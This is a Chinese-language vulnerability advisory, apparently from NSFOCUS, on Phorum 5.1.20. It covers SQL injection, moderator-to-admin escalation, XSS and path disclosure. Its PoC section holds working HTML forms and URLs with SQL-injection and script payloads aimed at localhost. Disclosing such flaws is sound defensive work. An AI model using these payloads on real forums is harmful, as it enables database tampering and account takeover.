安全研究
安全漏洞
Phorum多个输入验证漏洞
发布日期:2007-04-23
更新日期:2007-04-24
受影响系统:
Phorum Phorum 5.1.20不受影响系统:
Phorum Phorum 5.1.22描述:
BUGTRAQ ID: 23616
Phorum是一款基于PHP的WEB论坛程序,可在Linux和Unix操作系统下使用,也可在Microsoft Windows操作系统下使用。
Phorum的多个脚本实现上存在输入验证漏洞,远程攻击者可能利用此漏洞非授权控制论坛。
Phorum的pm.php文件中recipients参数可能导致SQL注入漏洞。在include/db/mysq.php文件的1881行:
------------------[source code]----------------------
function phorum_db_user_get($user_id, $detailed)
{
$PHORUM = $GLOBALS["PHORUM"];
$conn = phorum_db_mysql_connect();
if(is_array($user_id)){
$user_ids=implode(",", $user_id);
} else {
$user_ids=(int)$user_id;
}
$users = array();
$sql = "select * from {$PHORUM['user_table']} where user_id in ($user_ids)";
$res = mysql_query($sql, $conn);
if ($err = mysql_error()) phorum_db_mysql_error("$err: $sql");
------------------[/source code]----------------------
可见如果$user_id为数组的话,在SQL查询中使用前没有执行任何过滤。但如果要利用这个漏洞,攻击者必须拥有有效的用户帐号且已登录。
拥有moderation权限的moderator可以修改任何用户的任意数据,包括管理员,因此任何拥有moderation权限的用户都可以获得管理级权限提升。在include/controlcenter/users.php的29行:
------------------[source code]----------------------
if(!empty($_POST["user_ids"])){
foreach($_POST["user_ids"] as $user_id){
if(!isset($_POST["approve"])){
$userdata["active"]=PHORUM_USER_INACTIVE;
} else {
$user=phorum_user_get($user_id);
if($user["active"]==PHORUM_USER_PENDING_BOTH){
$userdata["active"]=PHORUM_USER_PENDING_EMAIL;
} else {
$userdata["active"]=PHORUM_USER_ACTIVE;
// send reg approved message
$maildata["mailsubject"]=$PHORUM["DATA"]["LANG"]["RegApprovedSubject"];
$maildata["mailmessage"]=wordwrap($PHORUM["DATA"]["LANG"]["RegApprovedEmailBody"], 72);
phorum_email_user(array($user["email"]), $maildata);
}
}
$userdata["user_id"]=$user_id;
phorum_user_save($userdata);
}
}
------------------[/source code]----------------------
可见通过操控$_POST["user_ids"]参数就可以激活或注销任意用户,包括管理员;此外$userdata没有初始化,如果php设置打开了register_globals的话就可以破坏该变量,这样moderator用户就可以为任何用户保存任意用户数据,如userdata[admin]可能带有管理用户权限。
Phorum管理界面的censorlist、banlist和组管理中存在SQL注入漏洞,组管理和smiley管理中存在跨站脚本漏洞;其中banlist中SQL注入漏洞的漏洞代码位于include/db/mysql.php的3223行:
--------------------------------------------------
function phorum_db_del_banitem($banid) {
$PHORUM = $GLOBALS["PHORUM"];
$conn = phorum_db_mysql_connect();
$sql = "DELETE FROM {$PHORUM['banlist_table']} WHERE id = $banid";
$res = mysql_query($sql, $conn);
---------------------------------------------------
Phorum的admin.php文件中module变量可能导致泄露路径。
在编辑banlist时使用了GET方式,漏洞代码位于include/admin/banlist.php的47行:
--------------------------------------------------
if(isset($_GET["curr"])){
if(isset($_GET["delete"])){
phorum_db_del_banitem($_GET['curr']);
echo "Ban Item Deleted<br />";
} else {
$curr = $_GET["curr"];
}
}
--------------------------------------------------
这可能允许用户轻易的删除banlist项。
<*来源:Janek Vind (come2waraxe@yahoo.com)
链接:http://marc.info/?l=bugtraq&m=117700516302167&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
------------------[PoC exploit]-----------------------
<html>
<body>
<form action="http://localhost/phorum.5.1.20/pm.php" method="post">
<input type="hidden" name="recipients[1) OR foobar=123/* ]" value="waraxe">
<input type="submit" name"test" value="test">
</body>
</html>
------------------[/PoC exploit]----------------------
moderator管理权限提升:
------------------[PoC exploit]-----------------------
<html><head><title>Usermoderator2admin</title></head>
<body><center><br><br><br>
<form action="http://localhost/phorum.5.1.20/control.php?1" method="post">
<input type="hidden" name="panel" value="users">
<input type="hidden" name="forum_id" value="0">
<input type="hidden" name="user_ids[]" value="2">
<input type="hidden" name="userdata[admin]" value="1">
<input type="submit" name="approve" value="Make me admin!">
</form>
</center>
</body></html>
------------------[/PoC exploit]----------------------
/control.php?1中“1”为moderator拥有moderation权限的论坛ID,user_ids[2]中“2”为试图获得管理权限用户的userid。
SQL注入漏洞:
http://localhost/phorum.5.1.20/admin.php?module=badwords&curr=SELECT&delete=1
http://localhost/phorum.5.1.20/admin.php?module=banlist&delete=1&curr=OR
http://localhost/phorum.5.1.20/admin.php?module=groups
Edit groups/Add group --> war'axe
跨站脚本漏洞:
http://localhost/phorum.5.1.20/admin.php?module=groups&edit=1&group_id="><script>alert(123);</script>
http://localhost/phorum.5.1.20/admin.php?module=modsettings&mod=smileys&edit=1&smiley_id="><script>alert(123);</script>
admin.php文件路径泄露漏洞:
http://localhost/phorum.5.1.20/admin.php?module[]=groups
删除banlist项:
http://localhost/phorum.5.1.20/admin.php?module=banlist&curr=9&delete=1
建议:
厂商补丁:
Phorum
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.phorum.org/downloads/phorum-5.1.22.tar.gz
浏览次数:3655
严重程度:0(网友投票)
绿盟科技给您安全的保障
